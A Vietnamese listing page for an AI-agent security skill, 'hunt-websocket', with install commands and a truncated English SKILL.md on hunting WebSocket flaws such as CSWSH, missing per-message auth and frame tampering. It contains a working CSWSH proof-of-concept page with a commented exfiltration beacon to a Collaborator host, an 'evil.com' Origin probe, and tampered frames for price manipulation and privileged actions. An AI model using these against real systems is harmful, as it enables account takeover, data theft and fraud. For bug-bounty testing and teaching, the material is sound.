hunt-websocket – skill Bảo mật cho agent AI
Săn lỗ hổng WebSocket — Cross-Site WebSocket Hijacking (CSWSH), thiếu hoặc kiểm tra Origin yếu trong handshake WS, không xác thực theo từng thông điệp, giả mạo thông điệp, bỏ qua phân quyền namespace/room của socket.io, và smuggling Upgrade ở tầng handshake. Dùng khi mục tiêu có endpoint WebSocket (ws:// hoặc wss://).
Cài skill hunt-websocket bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-websocket-101b3.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-websocket – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-websocket-101b3.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-websocket – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-websocket-101b3.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-websocket – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-websocket-101b3.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-websocket – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
HUNT-WEBSOCKET — WebSocket Security
Crown Jewel Targets
CSWSH (Cross-Site WebSocket Hijacking) with a cookie-authenticated handshake and no CSRF/per-connection token = High–Critical (real-time exfil of any logged-in victim's data).
Highest-value chains:
- CSWSH → data exfil / ATO — handshake authenticates via ambient cookie, no CSRF token, Origin not enforced → attacker page opens WS as the victim and streams their messages/PII/tokens. If the stream carries a session/refresh/CSRF token, this escalates to ATO.
- No per-message auth — HTTP/handshake auth present but individual WS frames are not re-authorized → privileged messages accepted (
deleteUser,getSecretConfig). - Message tampering — modify in-flight frames (price, qty, userId, amount) in trading/game/checkout apps → financial fraud.
- socket.io namespace / room authz bypass — connect to a privileged namespace or join another user's room without a permission check → cross-tenant real-time exfil.
- Handshake-layer Upgrade smuggling — a malformed
Upgrade/Connection/Sec-WebSocket-*handshake makes the front proxy and origin disagree on whether an upgrade occurred → request-smuggling tunnel.
---
Grounding — Reference Cases (read before hunting)
These are public, verifiable references. Use them to calibrate what a *real* WS finding looks like and how it was proven. Do not invent additional report IDs or payouts.
| # | Source / ID | Class | Lesson |
|---|-------------|-------|--------|
| 1 | PortSwigger Web Security Academy — "Cross-site WebSocket hijacking" (research + labs) | CSWSH | Canonical CSWSH model: cookie-auth handshake + no CSRF token + missing Origin check → attacker reads/sends as victim. The authoritative methodology. |
| 2 | Christian Schneider — "Cross-Site WebSocket Hijacking (CSWSH)" (original disclosure/write-up, 2013) | CSWSH | First public CSWSH technique: cookie-auth handshake + no Origin enforcement; PoC must prove victim-data receipt in the attacker browser, not just a 101. |
| 3 | Coda CSWSH (referenced in this repo's hunt-csrf set) | CSWSH | Real-time collab apps commonly authenticate the socket purely via cookie; Origin allow-listing was the missing control. |
| 4 | CVE-2020-7662 — websocket-extensions (Node) ReDoS | DoS | A crafted Sec-WebSocket-Extensions header triggers catastrophic backtracking — handshake header is an attack surface, not just frames. |
| 5 | CVE-2024-37890 — ws (Node) DoS | DoS | Many handshake request headers exhaust the server; confirms the handshake itself is parser-attackable pre-frames. |
| 6 | Outdated socket.io / Engine.IO stacks | socket.io | Motivates the version-fingerprint step in Phase 7 — fingerprint the version, then check that release's known advisories. |
> Only the four CVEs above are asserted with exact IDs because they are verifiable. For any case where you are not certain of the exact identifier, describe the technique with no citation — a wrong CVE is worse than none.
---
Phase 1 — Discover WebSocket Endpoints
# Grep JS for WS connections (handshake URLs, socket.io clients)
grep -rE "new WebSocket|io\(|io\.connect|socket\.io|new SockJS|signalr|Phoenix\.Socket|wss?://" \
recon/$TARGET/ --include="*.js" 2>/dev/null | \
grep -oE "(wss?://[^'\"]+|/[a-zA-Z0-9/_.-]*socket[^'\"]*|/signalr[^'\"]*|/cable\b)" | sort -u
# Crawl URLs for realtime hints
grep -iE "socket|/ws\b|websocket|stream|realtime|live|chat|events|/cable|/signalr|notifications" \
recon/$TARGET/urls.txt | sort -u
# Probe handshake (101 = upgrade supported)
curl --max-time 30 --connect-timeout 10 -sI -o /dev/null -w "%{http_code}\n" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: $(head -c16 /dev/urandom | base64)" \
"https://$TARGET/ws"
# socket.io polling handshake leaks version + sid
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/socket.io/?EIO=4&transport=polling" | head -c 300; echo
# Non-standard WS ports
nmap -sV -p 80,443,3000,3001,8080,8443,8888,9000 $TARGET 2>/dev/null | grep openIn Burp Pro, use get_proxy_websocket_history (and the WebSockets tab) after browsing the app to enumerate live sockets, message schemas, and which frames carry auth-sensitive data.
---
Phase 2 — CSWSH (Cross-Site WebSocket Hijacking)
CSWSH requires THREE conditions together: (a) the handshake authenticates via an ambient credential (cookie sent automatically), (b) there is no unpredictable per-connection token in the handshake (no CSRF token / no token in URL/body), and (c) the server does not enforce Origin. Missing any one breaks the attack.
# Step 1 — Confirm handshake auth model in DevTools → Network → WS → Headers.
# Look for: Cookie: session=... AND the ABSENCE of any per-request token
# (no ?token=, no Sec-WebSocket-Protocol carrying a bearer, no body nonce).
# If a unique token rides the handshake, CSWSH is NOT exploitable cross-site.
# Step 2 — Probe Origin enforcement (this is a SIGNAL, not a confirmation)
wscat -c "wss://$TARGET/ws" \
--header "Origin: https://evil.com" \
--header "Cookie: session=YOUR_SESSION"
# A 101 from a foreign Origin only proves the handshake opened.
# It does NOT confirm CSWSH — the server may still validate Origin at the
# message layer, refuse to stream authenticated data, or require a token
# in the first app-level frame. Treat 101 as "candidate", move to Step 3.<!-- Step 3 — Real PoC: host on attacker origin, open while a SEPARATE victim
account is logged into TARGET in the same browser. The bug is only
confirmed if attacker JS RECEIVES the victim's data (or successfully
sends a privileged frame). Cross-origin JS cannot set Origin/Cookie —
the browser does, which is exactly the threat model. -->
<html><body><pre id="out"></pre><script>
var marker = "CSWSH-" + Math.random().toString(36).slice(2); // unique per run
var ws = new WebSocket("wss://TARGET/ws"); // attacker cannot forge Origin
ws.onopen = () => {
log("[+] 101 opened from attacker origin");
ws.send(JSON.stringify({type:"subscribe", channel:"user_notifications", _m:marker}));
};
ws.onmessage = e => {
log("VICTIM-DATA: " + e.data);
// Exfil PROOF to your Collaborator/listener so receipt is logged out-of-band:
// navigator.sendBeacon("https://<collab-id>.oastify.com/cswsh?d=" + encodeURIComponent(e.data));
};
ws.onerror = e => log("ERR (likely Origin/auth rejected at message layer)");
function log(s){document.getElementById("out").textContent += s + "\n";}
</script></body></html>False-positive killers:
- A completed
101fromOrigin: evil.comis NOT a finding. Many servers accept the upgrade and then send nothing, or close on the first authenticated frame. - Verify the data you receive belongs to a different account than the attacker, using a unique marker / distinct victim PII you planted in account B.
- Exfil the received payload to Burp Collaborator / an OAST listener so receipt is recorded out-of-band — this is your impact proof for the report.
- If a per-connection token rides the handshake (in the URL, a sub-protocol, or the first frame), CSWSH is not cross-site exploitable; downgrade or drop.
---
Phase 3 — Missing / Weak Authentication on WS Messages
Handshake auth ≠ per-message auth. Apps often authenticate the socket once, then trust every subsequent frame.
# No cookie at all — does the server process app frames?
wscat -c "wss://$TARGET/ws"
# > {"type":"getUserData","userId":1}
# > {"type":"getAdminPanel"}
# Low-priv session sending high-priv actions
wscat -c "wss://$TARGET/ws" --header "Cookie: session=LOW_PRIV_SESSION"
# > {"action":"deleteUser","userId":999}
# > {"action":"getSecretConfig"}Validate: the privileged action must produce a real effect (a deleted test user, returned secret config, a state change visible via a second channel) — a frame that is *accepted and silently ignored* is not a finding. Re-run as an unauthenticated client to confirm the action is not simply broadcast to everyone harmlessly.
---
Phase 4 — Message Tampering (Financial / Game / Checkout)
# Intercept + edit in Burp (Proxy → WebSockets history → right-click → Send to
# Repeater, or edit-and-forward). Try server-trusted client values:
# {"price":100} -> {"price":0.01}
# {"amount":1} -> {"amount":9999}
# {"userId":123} -> {"userId":1} # impersonate admin
# {"orderTotal":...} -> recompute downstream?
# wscat replay of a tampered frame
wscat -c "wss://$TARGET/trade" --header "Cookie: session=SESSION"
# > {"action":"buy","amount":1,"price":0.01}Validate: the tampered value must persist server-side — confirm via the REST/order API or a fresh socket that the order/balance/price actually reflects the manipulation. Many UIs echo your own frame back optimistically; that echo is NOT proof. Demonstrate financial/sta
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- broken-authentication – Xác định và khai thác lỗ hổng xác thực và quản lý phiên trong ứng dụng web. Broken…
- brooks-audit – Kiểm toán kiến trúc: lập bản đồ phụ thuộc giữa các module, kiểm tra tính toàn vẹn phân…
- gdpr-audit-prep – /compliance-os:gdpr-audit-prep [scope] — Bộ 6 câu hỏi chất vấn bắt buộc, có trích dẫn…
- hunt-xss – Kỹ năng săn lỗ hổng XSS. Được xây dựng từ 174 báo cáo bug bounty công khai. Dùng khi săn…
- hunt-xxe – Kỹ năng săn lỗ hổng XXE. Được xây dựng từ 10 báo cáo bug bounty công khai, gồm XXE qua…
- bugs-are-annoying – Auditor mã nguồn đối kháng, săn lỗi, lỗi logic và lỗ hổng bảo mật. Dùng cho các lượt rà…
- iot-camera-recon – Tấn công camera qua RTSP, ONVIF, cấu hình Axis khi cổng 554 đang mở.
- burpsuite-project-parser – Tìm kiếm và khám phá file project Burp Suite (.burp) từ dòng lệnh. Dùng khi tìm kiếm…